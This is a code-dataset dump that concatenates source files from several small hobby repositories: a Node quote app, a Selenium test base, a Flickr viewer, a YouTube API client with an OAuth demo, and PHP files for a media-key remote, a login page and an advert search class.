branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/master | <file_sep>
var fs = require('fs');
var app = require('./app.js');
var db = require('./db.js');
db.connect(function (err, db) {
if (db != undefined) {
// app.listen(process.env.PORT || 3000, function(){
// console.log('HTTP Server running on port 3000!');
// });
}
});
<file_sep>
//var functions= require("../quotes.js");
$('body').on('click', function (event) {
// alert('sdsd');
// $('.quote').html("Title added with JavaScript");
// $('.author').html("This post's body text was populated with javascript too");
// var colorx = '#'; // hexadecimal starting symbol
// var letters = ['000000','FF0000','00FF00','0000FF','FFFF00','00FFFF','FF00FF','C0C0C0'];
// colorx += letters[Math.floor(Math.random() * letters.length)];
// $('.body').background-color(colorx);
// $.get('/api/quote', function(quote){
// $('.body').html(quote);
$.ajax({
url: '/api/quote',
success: function (post) {
console.log(post);
$('.quote').html(post.header);
$('.author').html(post.content);
}
});
//$('body').css("background-color",'hsl('+Math.random()*360+'),55%,70%');
});
// $("h3").click(function(){
// $.ajax({
// url: '/api/post',
// success: function (post) {
// $('.post-list-item-header').html(post.header);
// $('.post-list-item-body').html(post.body).attr("align","center");
// }
// });
// //$("h1").hide();
// $('.post-list-item-header').html('aya');
// $('.post-list-item-body').html('aya').attr("align","'absmiddle'");
// });
<file_sep>var fs= require("../quotes.json");
//var assert = require('assert');
//var ObjectId = require('mongodb').ObjectID;
var db= require('./db.js');
function getElementByIndexElseRandom(array , index){
console.log("getElementByIndexElseRandom");
if (index != undefined){
return array[index];
}else {
return array[Math.floor(Math.random()*array.length)];
}
}
exports.getQuotesFromJSON = function(){
return fs;
}
exports.getQuoteFromJSON = function(index){
console.log("getQuoteFromJSON");
return getElementByIndexElseRandom(fs,index);
};
exports.seed = function (cb) {
console.log("INSIDE SEED FUNCTION");
db.db().collection('quotes').count(function(err, count){
if(count!=0) {
console.log("COUNT IS NOT ZERO");
cb(err,false)
}
else {
console.log("COUNT IS ZERO");
console.log("INSERTING MANY");
db.db().collection('quotes').insertMany(fs, function(err){
if (err) {
cb(err, false);
} else {
cb(err, true);
}
});
}
});
};
function getQuotesFromDB (cb) {
console.log("getQuotesFromDB");
db.db().collection('quotes').find().toArray(cb);
// db.db().collection('quotes').find().toArray(function(err, quotes) {
// console.log("getQuotesFromDB bardooooo");
// quotes= getQuotesFromJSON();
// cb(err,quotes);
// });
}
exports.getQuoteFromDB=function getQuoteFromDB(cb , index){
// getElementByIndexElseRandom(db.db().collection('quotes').find(),index);
console.log('gwa method l get quote form db nw');
db.db().collection('quotes').find().toArray(function(err,quotes){
console.log('gwa method l to array fl get quote form db nw');
// console.log(quotes);
var quote = getElementByIndexElseRandom(quotes, index);
console.log('tb dlwa2ty gbt l quote');
console.log(quote);
cb(err,quote);
});
}
// ==============================================
// db.connect(function(err,db){
// if (err) console.log("ERR => ", err);
// else {
// seed(function(err, isDataSeeded){
// console.log("isDataSeeded => ", isDataSeeded);
// });
// }
// });
// db.connect(function (err, db) {
// console.log("CALLING SEED FUNCTION");
// seed(function (err,seeded) {
// console.log('ay 7aga');
// console.log(err);
// console.log(seeded);
// })
// });
console.log("trying the db connect");
// db.connect(function (err,db){
// console.log("indide the db connect");
// getQuotesFromDB(function (err,quotes) {
// console.log("reavhed getQuotesFromDB");
// console.log(err);
// console.log(quotes);
// });
// });
// db.connect(function (err, db) {
// console.log("inside the db connect");
// getQuoteFromDB(function (err,quotes) {
// console.log("reached getQuotesFromDB");
// console.log(err);
// console.log(quotes);
// });
// });
// db.connect(function (err,db){
// getQuoteFromDB(function(err,quote){
// console.log('hello');
// console.log(err);
// console.log(quote);
// console.log('hello');
// })
// });
| 9d1452594e750a60a066ab76660bcbba34d26fc5 | [
"JavaScript"
] | 3 | JavaScript | AyazzHamdy/se-assignment | 8bc68ca3878a88f1dc6e2259ccaeafc1f7815453 | 19c87b99eda956c0ee5434b676cac9351336d486 |
refs/heads/master | <file_sep>import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.support.ui.ExpectedConditions;
import org.openqa.selenium.support.ui.WebDriverWait;
import org.testng.ITestContext;
import org.testng.annotations.*;
import java.time.Duration;
public abstract class SimpleTest {
protected WebDriver driver;
protected HomePage homePage = null;
protected SearchResultsPage searchResultsPage = null;
protected ItemPage itemPage = null;
protected DriverManager driverManager = null;
@Parameters("browserName")
@BeforeMethod
public void preparation(String browserName, ITestContext context){
driverManager = new DriverManager();
driver = driverManager.getDriver(browserName);
context.setAttribute("WebDriver", driver);
homePage = new HomePage(driver);
searchResultsPage = new SearchResultsPage(driver);
itemPage = new ItemPage(driver);
}
@AfterMethod
public void cleanUp() {
driver.quit();
}
WebElement waitPresent(String xPath, long seconds) {
return new WebDriverWait(driver, Duration.ofSeconds(seconds))
.until(ExpectedConditions.presenceOfElementLocated(By.xpath(xPath)));
}
WebElement waitClickable(String xPath, long seconds) {
return new WebDriverWait(driver, Duration.ofSeconds(seconds))
.until(ExpectedConditions.elementToBeClickable(By.xpath(xPath)));
}
}
| 2d261af1e36d5f24f75958ee18656773ecc42a16 | [
"Java"
] | 1 | Java | agatagolonka/selenium_ht3 | 20076eb12f18977c8a481bbaaaacf06bf0345964 | 1455461868b3628a1a5b22500380e4f729efd630 |
refs/heads/master | <repo_name>cecopld/flickrTestApp<file_sep>/README.md
#flickrTestApp
- browser support:
IE8+, Chrome, Firefox, Safari
### more info
- http://caniuse.com/#search=localstorage
- http://caniuse.com/#feat=json
- DEMO https://dl.dropboxusercontent.com/u/48398666/london_sainsbury/index_test.html
<file_sep>/flickrApp.js
var flickrObj = {};
(function(){
flickrObj.tags = 'london';
flickrObj.methods = {
includeScriptTag: function () {
var script=document.createElement('script');
script.src='https://api.flickr.com/services/feeds/photos_public.gne?format=json&jsoncallback=flickrObj.methods.init&tags='+flickrObj.tags;
document.head.appendChild(script);
},
init: function (data) {
var dataPhotos = flickrObj.methods.addIsSelectedProperty(data.items);
flickrObj.methods.getFromStorage();
flickrObj.photos = flickrObj.photos || dataPhotos;
if (!flickrObj.photos.length) return false // early out
flickrObj.methods.initKnockoutJs();
},
addIsSelectedProperty: function (dataPhotos) {
for (index = 0; index < dataPhotos.length; ++index) {
dataPhotos[index].isSelected = false;
}
return dataPhotos;
},
initKnockoutJs: function () {
flickrObj.model = new VM();
ko.applyBindings(flickrObj.model);
flickrObj.model.loading(false);
},
preparePhotos: function () {
flickrObj.methods.getInStorage();
},
saveInStorage: function (photosObj) {
if(typeof(Storage) !== "undefined") {
// Code for localStorage/sessionStorage.
localStorage.setItem("photos",JSON.stringify(photosObj));
} else {
// Sorry! No Web Storage support..
alert("no local storage");
}
},
getFromStorage: function () {
if(typeof(Storage) !== "undefined") {
// Code for localStorage/sessionStorage.
flickrObj.photos = JSON.parse(localStorage.getItem("photos"));
} else {
// Sorry! No Web Storage support..
alert("no local storage");
}
}
}
flickrObj.methods.includeScriptTag();
})();
function VM () {
var self = this;
self.loading = ko.observable(true);
self.photos = ko.mapping.fromJS(flickrObj.photos);
self.photoClicked = function (photo) {
photo.isSelected(!photo.isSelected());
flickrObj.photos = ko.toJS(self.photos());
flickrObj.methods.saveInStorage(flickrObj.photos);
}
} | 5b6564b55be2055d18641c1bc6bfa9700da6425c | [
"Markdown",
"JavaScript"
] | 2 | Markdown | cecopld/flickrTestApp | da794a0e24f23def454496dcddbd5918a1fb21cc | c22749c58bc078ccb773a7c5911cdb085487570f |
refs/heads/master | <file_sep>"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _YouTubeApi = _interopRequireDefault(require("./YouTubeApi.js"));
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
/**
* @file Retrieve YouTube videos
*/
/**
* @class Creates YouTube videos object
* @link https://developers.google.com/youtube/v3/docs/videos/list
* @extends YouTubeApi
*/
class YouTubeVideos extends _YouTubeApi.default {
/**
* List of supported video parts with quota cost
* @static
*/
static get PARTS() {
return {
contentDetails: 2,
fileDetails: 1,
id: 0,
liveStreamingDetails: 2,
localizations: 2,
player: 0,
processingDetails: 1,
recordingDetails: 2,
snippet: 2,
statistics: 2,
status: 2,
suggestions: 1,
topicDetails: 2
};
}
/**
* @param {Object} options - YouTube API parameters
* @constructs
*/
constructor(options = {}) {
super(options);
}
/**
* YouTube API videos endpoint
* @private
*/
get url() {
return 'https://www.googleapis.com/youtube/v3/videos';
}
/**
* Get list of videos.
* @param {Array|String} id - List of video id
* @returns {Promise}
* @public
*/
list(id) {
id = Array.isArray(id) ? id : [id];
const params = {
id: id.join(',')
};
return this.makeApiRequest({
params
});
}
}
exports.default = YouTubeVideos;<file_sep>"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _YouTubeApi = _interopRequireDefault(require("./YouTubeApi.js"));
var _YouTubeError = require("./YouTubeError.js");
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
/**
* @file Perform YouTube OAuth2 authorization
*/
/**
* @class YouTube authorization with OAuth 2.0
* @link https://developers.google.com/youtube/v3/guides/authentication
* @extends YouTubeApi
*/
class YouTubeAuth extends _YouTubeApi.default {
/**
* Google OAuth 2 endpoint
* @static
*/
static get URL_AUTH() {
return 'https://accounts.google.com/o/oauth2/v2/auth';
}
/**
* Token info endpoint
* @static
*/
static get URL_TOKEN_INFO() {
return 'https://www.googleapis.com/oauth2/v3/tokeninfo';
}
/**
* Token endpoint
* @static
*/
static get URL_TOKEN() {
return 'https://www.googleapis.com/oauth2/v4/token';
}
/**
* Revoke token endpoint
* @static
*/
static get URL_TOKEN_REVOKE() {
return 'https://accounts.google.com/o/oauth2/revoke';
}
/**
* Default access scope. Manage your YouTube account.
* @static
*/
static get SCOPE_DEFAULT() {
return 'https://www.googleapis.com/auth/youtube';
}
/**
* Force SSL access scope. Manage your YouTube account.
* @static
*/
static get SCOPE_DEFAULT_SSL() {
return 'https://www.googleapis.com/auth/youtube.force-ssl';
}
/**
* Read only access scope. View your YouTube account.
* @static
*/
static get SCOPE_READONLY() {
return 'https://www.googleapis.com/auth/youtube.readonly';
}
/**
* Upload access scope. Manage your YouTube videos.
* @static
*/
static get SCOPE_UPLOAD() {
return 'https://www.googleapis.com/auth/youtube.upload';
}
/**
* Partner access scope. View and manage your assets and associated content on YouTube.
* @static
*/
static get SCOPE_YOUTUBEPARTNER() {
return 'https://www.googleapis.com/auth/youtubepartner';
}
/**
* Partner audit access scope. View private information of your YouTube channel relevant during the audit process with a YouTube partner.
* @static
*/
static get SCOPE_YOUTUBEPARTNER_AUDIT() {
return 'https://www.googleapis.com/auth/youtubepartner-channel-audit';
}
/**
* Create URL of Google authorization server with request parameters
* @param {Object} params - request params
* @param {String} params.client_id
* @param {String} params.redirect_uri
* @param {String} params.response_type
* @param {String} params.scope
* @param {String} params.access_type
* @param {String} params.state
* @param {String} params.include_granted_scopes
* @param {String} params.login_hint
* @param {String} params.prompt
* @returns {String} - URL to redirect
* @static
*/
static createAuthUrl(params) {
params = Object.assign( // Default values
{
scope: YouTubeAuth.SCOPE_DEFAULT_SSL,
include_granted_scopes: true,
response_type: params.access_type === 'offline' ? 'code' : 'token'
}, params);
const url = new URL(YouTubeAuth.URL_AUTH);
url.search = _YouTubeApi.default.makeQueryString(params);
return url.href;
}
/**
* Extract response data from a callback URL
* @param {String} callbackUrl - full URL the authorization server redirected to (for example, window.location.href)
* @returns {Object|null} - parsed hash or query string of URL. Returns null if there are no any params
* @throws {YouTubeApiError} if response is empty
* @static
*/
static extractResponseFromCallbackUrl(callbackUrl) {
const url = new URL(callbackUrl); // URLSearchParams constructor ignores only ? leading char
const query = url.hash && url.hash.substring(1) || url.search;
if (!query.length) {
throw new _YouTubeError.YouTubeApiError('Empty response. Callback URL must contain query string or hash.');
} // Parse query string
const params = new URLSearchParams(query); // Convert URLSearchParams object to plain object
const response = {};
for (let param of params.keys()) {
response[param] = params.get(param);
}
return response;
}
/**
* Check if the access token is expired
* @param {Object} token - token to check
* @param {String} token.access_token - access token
* @param {Number} token.expires_in - the number of seconds left before the token becomes invalid
* @param {Number} token.created - timestamp when token is created
* @returns {Boolean} - true if token is expired or invalid
* @static
*/
static isAccessTokenExpired(token) {
if (!token || !token.access_token || !token.created || !token.expires_in) {
throw new TypeError('Invalid token');
}
return parseInt(token.created, 10) + (parseInt(token.expires_in, 10) - 30) * 1000 < Date.now();
}
/**
* @param {Object} options - YouTube auth parameters
* @param {String} options.client_id
* @param {String} options.client_secret
* @param {String} options.redirect_uri
* @param {String} options.scope
* @param {String} options.state
* @constructs
*/
constructor(options = {}) {
super(options); // access token can be ignored for authorization requests
this.accessToken = null; // store request params and remove them from the options since not all of them are needed for the each request
this.clientId = this.options.client_id;
this.clientSecret = this.options.client_secret;
this.redirectUri = this.options.redirect_uri;
this.scope = this.options.scope || YouTubeAuth.SCOPE_DEFAULT_SSL;
this.state = this.options.state;
delete this.options.client_id;
delete this.options.client_secret;
delete this.options.redirect_uri;
delete this.options.scope;
delete this.options.state;
}
/**
* Fetch access token with response from Google authorization server
* @param {Object} response - response data
* @returns {Promise} - resolves to access token object
* @throws {TypeError} in case of missing params in URL
* @public
*/
async fetchAccessTokenWithResponse(response) {
// Perform some validation first
this.validateResponse(response); // Auth server returns access token for online access type
// It is necessary to validate it and return recognized fields only
if (response.access_token) {
const token = {
access_token: response.access_token,
token_type: response.token_type,
expires_in: response.expires_in,
created: Date.now()
};
await this.validateAccessToken(token);
return token;
} // Offline access type - exchange an authorization code for an access token
if (response.code) {
return this.fetchAccessTokenWithCode(response.code);
}
throw new TypeError('An URL must contain one of these query params: assess_token or code.');
}
/**
* Refresh an access token (offline access)
* @param {String} refreshToken - a refresh token
* @returns {Promise} - resolves to access token object
* @public
*/
async fetchAccessTokenWithRefreshToken(refreshToken) {
const token = await this.makeApiRequest({
url: YouTubeAuth.URL_TOKEN,
method: 'POST',
params: {
client_id: this.clientId,
client_secret: this.clientSecret,
refresh_token: refreshToken,
grant_type: 'refresh_token'
}
});
token.created = Date.now();
return token;
}
/**
* Exchange authorization code for an access token
* @param {String} code - an authorization code returned by Google
* @returns {Promise} - resolves to access token object
* @public
*/
async fetchAccessTokenWithCode(code) {
const token = await this.makeApiRequest({
url: YouTubeAuth.URL_TOKEN,
method: 'POST',
params: {
code,
client_id: this.clientId,
client_secret: this.clientSecret,
redirect_uri: this.redirectUri,
access_type: 'offline',
grant_type: 'authorization_code'
}
});
token.created = Date.now();
return token;
}
async revokeToken(token) {
if (!token.access_token) {
throw new TypeError('Invalid token');
}
await this.makeApiRequest({
url: YouTubeAuth.URL_TOKEN_REVOKE,
params: {
token: token.access_token
}
});
}
/**
* Validate access token with online access type
* @param {String} accessToken - Access token from the authorization server
* @returns {Promise} resolves if validation passed, rejects otherwise
* @public
*/
async validateAccessToken(token) {
const tokenInfo = await this.makeApiRequest({
url: YouTubeAuth.URL_TOKEN_INFO,
params: {
access_token: token.access_token
}
});
if (tokenInfo.error) {
throw new _YouTubeError.YouTubeAuthError(tokenInfo.error);
}
if (tokenInfo.aud !== this.clientId) {
throw new _YouTubeError.YouTubeAuthError('Client ID does not match.');
}
}
/**
* Validate authorization server callback response.
* @param {Object} response - response data
* @returns {void}
* @throws {YouTubeAuthError} if validation fails
* @private
*/
validateResponse(response) {
if (response.error) {
throw new _YouTubeError.YouTubeAuthError(response.error);
}
if (response.scope !== this.scope) {
throw new _YouTubeError.YouTubeAuthError('Scope does not match.');
}
if (response.state !== this.state) {
throw new _YouTubeError.YouTubeAuthError('State does not match.');
}
}
}
exports.default = YouTubeAuth;<file_sep>"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.default = void 0;
var _helperModuleImports = require("@babel/helper-module-imports");
function babelPluginAddImports() {
return {
name: 'add-imports',
pre() {
this.addedImports = new Map();
},
visitor: {
Program(path, {
opts
}) {
if (!Array.isArray(opts.imports)) {
return;
}
opts.imports.forEach(module => {
if (typeof module === 'string') {
module = {
name: module,
from: module
};
}
const {
name,
from
} = module;
if (!name || !from) {
return;
}
if (Object.keys(path.scope.globals).includes(name)) {
const node = (0, _helperModuleImports.addDefault)(path, from);
this.addedImports.set(name, node.name);
}
});
},
CallExpression(path) {
const name = path.node.callee.name;
if (this.addedImports.has(name)) {
path.node.callee.name = this.addedImports.get(name);
}
}
},
post() {
this.addedImports.clear();
}
};
}
var _default = babelPluginAddImports;
exports.default = _default;
<file_sep># YouTube API
This is a small library with no dependencies* to work with YouTube API.
Can work either on client side or with nodejs.
<small>*node-fetch is required in nodejs environment</small>
## Usage
### Search for videos
```javascript
import { YoutubeSearch } from 'youtube-api';
const options = {
key: 'YOUTUBE_API_KEY',
part: 'snippet',
maxResults: 10
};
async function search(searcher, query) {
try {
return await searcher.search(query);
} catch (e) {
// Handle error
}
}
const youtubeSearcher = new YoutubeSearch(options);
// .search() method returns an array of videos
// it's size less or equals maxResults
// or 0 if there are no more results or request was aborted with .abort()
const first10Videos = search(youtubeSearcher, 'search query');
// calling .search() again with the same query string returns the next resulting page
const next10Videos = search(youtubeSearcher, 'search query');
```
You can call `.search()` method with the same search query string in order to get the next page of found videos.
### Video details
Retrieve a list of videos with details.
```javascript
import { YoutubeVideos } from 'youtube-api';
const options = {
key: 'YOUTUBE_API_KEY'
};
// Array of video ids
const videoId = ['videoId'];
const videos = new YouTubeVideos({ ...options, part: 'id' });
videos.list(videoId).then(res => {
console.log(res);
});
```
### Captions
You can retrieve a list of video captions or download a particular caption. Please note that downloading captions requires authorization.
```javascript
import { YoutubeCaptions } from 'youtube-api';
const options = {
access_token: 'YOUTUBE_ACCESS_TOKEN'
};
// Video ID
const videoId = 'videoId';
const captions = new YoutubeCaptions(options);
// The first parameter is string with video id
// The second parameter is part. May be 'id' or 'snippet'.
// https://developers.google.com/youtube/v3/docs/captions/list
captions.list(videoId, 'snippet').then(res => {
if (res.items.length) {
// Retrieve the first caption track
captions.download(res.items[0].id).then(blob => {
// returns Blob
});
}
});
```
## Options
All class constructors have options parameter. It should have either `key` or `access_token` key. See next sections for details.
Options object may contain any of supported YouTube API parameters. See particular [YouTube API reference](https://developers.google.com/youtube/v3/docs/) page for more details.
## Google API Key
You need to create an [API key](https://developers.google.com/youtube/registering_an_application) in order to perform YouTube API requests. Some requests require authorization. In that case you need to create OAuth 2 credentials and use `YouTubeAuth` class to obtain access token.
## Authorization
Some API requests require authorization. In order to obtain access token to perform such requests you can use `YouTubeAuth` class. There is `YouTubeAuth.createAuthUrl(params)` static method that creates an URL to Google authorization server. You need to pass your `client_id` and `redirect_uri` along with other optional parameters to it and then redirect user to the returned URL. After authentication the server redirects back to the `redirect_uri` with the response in hash or query string (depends on access type). For `access_type=offline` the `client_secret` is required as well. Then use `.fetchAccessTokenWithCallbackUrl(callbackUrl)` method in order to obtain access token. If server returns an error an exception will be thrown. You can store the token and use it for requests instead of API key. For `access_type=offline` a refresh token will be also provided. Store it in a secure place and use for refreshing access token once it's expired. See [Google guide](https://developers.google.com/youtube/v3/guides/authentication) and an [example](demo/index.html) for details.
### Revoke token
Server side application can revoke access token with `.revokeToken(token)` method of `YouTubeAuth` instance. It accepts token obtained with one of `.fetchAccessToken*` methods. In order to revoke access token of client side application follow [documentation](https://developers.google.com/youtube/v3/guides/auth/client-side-web-apps#tokenrevoke).
## Timeout
Request timeout is `5000ms` by default. You can change it with `options.timeout`.
```javascript
const options = {
key: 'YOUTUBE_API_KEY',
// Number of milliseconds
timeout: 3000
};
```
## Aborting request
You can abort a request by calling `.abort()` method.
```javascript
const searcher = new YoutubeSearch(options);
searcher.search(query).then(results => { ... });
// Abort the previous request
searcher.abort();
searcher.search(query).then(results => { ... });
```
<file_sep>/**
* @file YouTube error classes
*/
/**
* @class Creates a new general YouTube error
* @extends Error
*/
export class YouTubeError extends Error {
/**
* @param {*} params - Error arguments
* @constructs
*/
constructor(...params) {
super(...params);
if (Error.captureStackTrace) {
Error.captureStackTrace(this, YouTubeError);
}
}
}
/**
* @class Creates a new YouTube API error
* @extends Error
*/
export class YouTubeApiError extends Error {
/**
* @param {Object} error - Error object from YouTube response
* @param {*} params - Remaining arguments. @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error
* @constructs
*/
constructor(error, ...params) {
super(error.message, ...params);
if (Error.captureStackTrace) {
Error.captureStackTrace(this, YouTubeApiError);
}
this.code = error.code;
this.errors = error.errors;
}
}
/**
* @class Creates a new YouTube Auth error
* @extends Error
*/
export class YouTubeAuthError extends Error {
/**
* @param {*} params - Error arguments
* @constructs
*/
constructor(...params) {
super(...params);
if (Error.captureStackTrace) {
Error.captureStackTrace(this, YouTubeAuthError);
}
}
}
<file_sep>import YouTubeAuth from './src/YouTubeAuth.mjs';
import YouTubeCaptions from './src/YouTubeCaptions.mjs';
import YouTubeSearch from './src/YouTubeSearch.mjs';
import YouTubeVideos from './src/YouTubeVideos.mjs';
export { YouTubeAuth, YouTubeCaptions, YouTubeSearch, YouTubeVideos };
<file_sep># Add imports plugin for Babel
The plugin was created for adding import of fetch implementation for NodeJS to make a code isomorphic.
## Usage
```javascript
// babel.config.js
// Inserts import fetch from 'node-fetch' if fetch() call is found
const plugins = [['./dev/babel-plugin-add-imports', { imports: [{
// Name of function
name: 'fetch',
// Name of node module to import from
from: 'node-fetch'
}] }]];
module.exports = { plugins };
```
<file_sep>const YouTubeAuth = require('./lib/YouTubeAuth.js').default;
const YouTubeCaptions = require('./lib/YouTubeCaptions.js').default;
const YouTubeSearch = require('./lib/YouTubeSearch.js').default;
const YouTubeVideos = require('./lib/YouTubeVideos.js').default;
module.exports = { YouTubeAuth, YouTubeCaptions, YouTubeSearch, YouTubeVideos };
<file_sep>import { addDefault } from '@babel/helper-module-imports';
function babelPluginAddImports() {
return {
name: 'add-imports',
pre() {
this.addedImports = new Map();
},
visitor: {
Program(path, { opts }) {
if (!Array.isArray(opts.imports)) {
return;
}
opts.imports.forEach(module => {
if (typeof module === 'string') {
module = { name: module, from: module };
}
const { name, from } = module;
if (!name || !from) {
return;
}
if (Object.keys(path.scope.globals).includes(name)) {
const node = addDefault(path, from);
this.addedImports.set(name, node.name);
}
});
},
CallExpression(path) {
const name = path.node.callee.name;
if (this.addedImports.has(name)) {
path.node.callee.name = this.addedImports.get(name);
}
}
},
post() {
this.addedImports.clear();
}
};
}
export default babelPluginAddImports;
<file_sep>/**
* @file Retrieve YouTube video captions
*/
import YouTubeApi from './YouTubeApi.js';
import { YouTubeError } from './YouTubeError.js';
/**
* @class Creates YouTube captions object
* @link https://developers.google.com/youtube/v3/docs/captions
* @extends YouTubeApi
*/
export default class YouTubeCaptions extends YouTubeApi {
/**
* Id part of caption
* @static
*/
static get PART_ID() {
return 'id';
}
/**
* Snippet part of caption
* @static
*/
static get PART_SNIPPET() {
return 'snippet';
}
/**
* SubViewer subtitle
* @static
*/
static get FORMAT_SBV() {
return 'sbv';
}
/**
* Scenarist Closed Caption format
* @static
*/
static get FORMAT_SCC() {
return 'scc';
}
/**
* SubRip subtitle
* @static
*/
static get FORMAT_SRT() {
return 'srt';
}
/**
* Timed Text Markup Language caption
* @static
*/
static get FORMAT_TTML() {
return 'ttml';
}
/**
* Web Video Text Tracks caption
* @static
*/
static get FORMAT_VTT() {
return 'vtt';
}
/**
* @param {Object} options - YouTube API parameters
* @constructs
*/
constructor(options = {}) {
super(options);
}
/**
* YouTube API captions endpoint
* @private
*/
get url() {
return 'https://www.googleapis.com/youtube/v3/captions';
}
/**
* Get captions list of video.
* @link https://developers.google.com/youtube/v3/docs/captions/list
* @param {String} videoId - Video ID
* @param {String} part - Caption resource parts
* @returns {Promise}
* @public
*/
list(videoId, part = 'id') {
const params = { part, videoId };
return this.makeApiRequest({ params });
}
/**
* Download caption by id.
* @link https://developers.google.com/youtube/v3/docs/captions/download
* @param {String} id - Caption id
* @param {String} format - Specifies that the caption track should be returned in a specific format
* @returns {Promise}
* @throws YouTubeError if access token is not set
* @public
*/
download(id, format = null) {
if (!this.accessToken) {
throw new YouTubeError('This action requires authorization.');
}
const url = this.at(id);
const params = {};
if (format) {
params.format = format;
}
return this.makeApiRequest({ url, params });
}
}
<file_sep>// Simple express application that can perform Google authorization
// DON'T USE THIS CODE IN PRODUCTION
import path from 'path';
import fs from 'fs';
import querystring from 'querystring';
import express from 'express';
import YouTubeApi from '../index.js';
const { YouTubeAuth } = YouTubeApi;
// Workaround for __dirname
import expose from './expose.js';
const { __dirname } = expose;
const clientId = process.env.CLIENT_ID;
const clientSecret = process.env.CLIENT_SECRET;
const app = express();
const port = process.env.PORT || 5500;
// Reuse index.html for server side authorization workflow
app.use('/src', express.static(path.join(__dirname, '../src')));
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
// This route performs the following operation:
// 1. Obtains a new access token with refresh token if exists
// 2. Redirects to the Google Authorization service if refresh token doesn't exist
// 3. Handles response from Google, obtains a new access token and stores it
app.get('/oauth', (req, res) => {
const redirectUri = `${req.protocol}://${req.hostname}:${port}${req.path}`;
const auth = new YouTubeAuth({
client_id: clientId,
client_secret: clientSecret,
redirect_uri: redirectUri
});
// Generate a custom event to send it to the parent window with a token or an error
const sendResponse = data => {
const token = data.token
? querystring.stringify(data.token, ',', ':', {
encodeURIComponent: s => {
return `'${s.replace("'", "\\'")}'`;
}
})
: '';
const html = `
<script>
var data = {};
data.error = ${data.error ? "new Error('" + data.error.message.replace("'", "\\'") + "')" : null};
data.token = ${token ? '{' + token + '}' : null};
const event = new CustomEvent('${token ? 'auth-success' : 'auth-fail'}', { detail: data });
window.opener.dispatchEvent(event);
window.close();
</script>
`;
res.send(html);
};
const saveTokenAndSendResponse = token => {
// Token should be saved for each user separately
fs.writeFile(path.join(__dirname, 'token.json'), JSON.stringify(token), 'utf8', () => {
// Send a new access token to the client
// Refresh token should be stored on server side only
delete token.refresh_token;
sendResponse({ token });
});
};
const sendError = error => {
sendResponse({ error });
};
// Redirect to Google OAuth service
const redirectToAuthorizationServer = () => {
const oauthUrl = YouTubeAuth.createAuthUrl({
client_id: clientId,
redirect_uri: redirectUri,
access_type: 'offline',
prompt: 'consent'
});
res.redirect(oauthUrl);
};
// Check if Google redirected to the route with response
if (Object.keys(req.query).length) {
// Obtain access and refresh token with a code
const response = req.query;
auth.fetchAccessTokenWithResponse(response)
.then(saveTokenAndSendResponse)
.catch(sendError);
} else {
// Obtain access token with refresh token if exists
fs.readFile(path.join(__dirname, 'token.json'), 'utf8', (err, data) => {
if (err) {
// Redirect to auth server if there is no saved token
if (err.code === 'ENOENT') {
redirectToAuthorizationServer();
} else {
res.status(500).send('Unable to read token file.');
}
return;
}
try {
const token = JSON.parse(data);
if (!token.refresh_token) {
redirectToAuthorizationServer();
} else {
auth.fetchAccessTokenWithRefreshToken(token.refresh_token)
.then(saveTokenAndSendResponse)
.catch(sendError);
}
} catch (e) {
res.status(500).send('Token file is invalid.');
}
});
}
});
// Listen
app.listen(port, () => {
// eslint-disable-next-line no-console
console.log(`Example app listening on port ${port}`);
});
| bbba66d607caedc4a6fc6a7884afa3be4485a546 | [
"JavaScript",
"Markdown"
] | 11 | JavaScript | trypton/youtube-api | cde8b48e1d62e3bc0268cbe55da5448b64ed37b4 | ee544f1526a8b49162a602d217c20ad3184bf32a |
refs/heads/master | <file_sep><?php
$com = $_POST['command'];
switch($com){
case "skip":
echo exec('wscript "keys.vbs" "s"');
break;
case "play":
echo exec('wscript "keys.vbs" "{ENTER}"');
break;
case "rewind":
echo exec('wscript "keys.vbs" "{LEFT}"');
break;
case "forward":
echo exec('wscript "keys.vbs" "{RIGHT}"');
break;
case "min":
echo exec('wscript "keys.vbs" "{ESC}"');
break;
case "full":
echo exec('wscript "keys.vbs" "f"');
break;
}
<file_sep><?php
//Start session if it hasn't already started (redirects)
$view = new stdClass();
$view->pageTitle = 'Login';
if(session_status() == 1)
session_start();
if(isset($_SESSION["user"]))
$view->user = $_SESSION["user"];
if(isset($_POST['submit'])){
require_once('Models/User.php');
require_once('Models/DBConnection.php');
$conn = DBConnection::Instance();
$user = new User($_POST['username']);
//attempt to login if details have been entered
if($user->login($conn, $_POST['password'])){
session_unset();
session_destroy();
//Logout if already logged in and login new user
session_start();
$_SESSION["user"] = $user->username;
$view->user = $_SESSION["user"];
//Redirect to homepage
require_once('index.php');
die();
}else{
$view->status = "Username or password entered incorrectly";
}
}
//Show page view
require_once('Views/shop-login.phtml');<file_sep><?php
/**
* Created by PhpStorm.
* User: stc905
* Date: 07/11/17
* Time: 14:53
*/
class Advert
{
/**
* @var string
*/
var $id = '';
/**
* User constructor.
* @param string $id
*/
public function __construct($id)
{
$this->id = $id;
}
/**
* Called in order to delete all ads past their expiry date
* @param PDO $conn
* @return string
*/
public function expireAds($conn){
$stmt = $conn->prepare("DELETE FROM adverts WHERE (SELECT DATEDIFF(expire,CURDATE())) > 60");
$result = $stmt->execute();
if(!$result)
return "Statement Failed: ". $stmt->errorInfo();
return "Success";
}
/**
* Search through ads where the all filters match: keyword searches if the string matches in the title or description
* @param PDO $conn
* @param array $args
* @param array $dig
* @return string|array
*/
public function searchAds($conn, $title,$max,$min, $dig, $limit, $offset){
$offset -= 1;
$offset *= $limit;
//$title = '%'.$title.'%';
/*$newAd = strip_tags($args[0]);
if($newAd !== $args[0])
return "No special characters allowed in title";
$newAd = strip_tags($args[1]);
if($newAd !== $args[1])
return "No special characters allowed in description";
$newAd = strip_tags($args[3]);
if($newAd !== $args[3])
return "No special characters allowed in max price";
$newAd = strip_tags($args[3]);
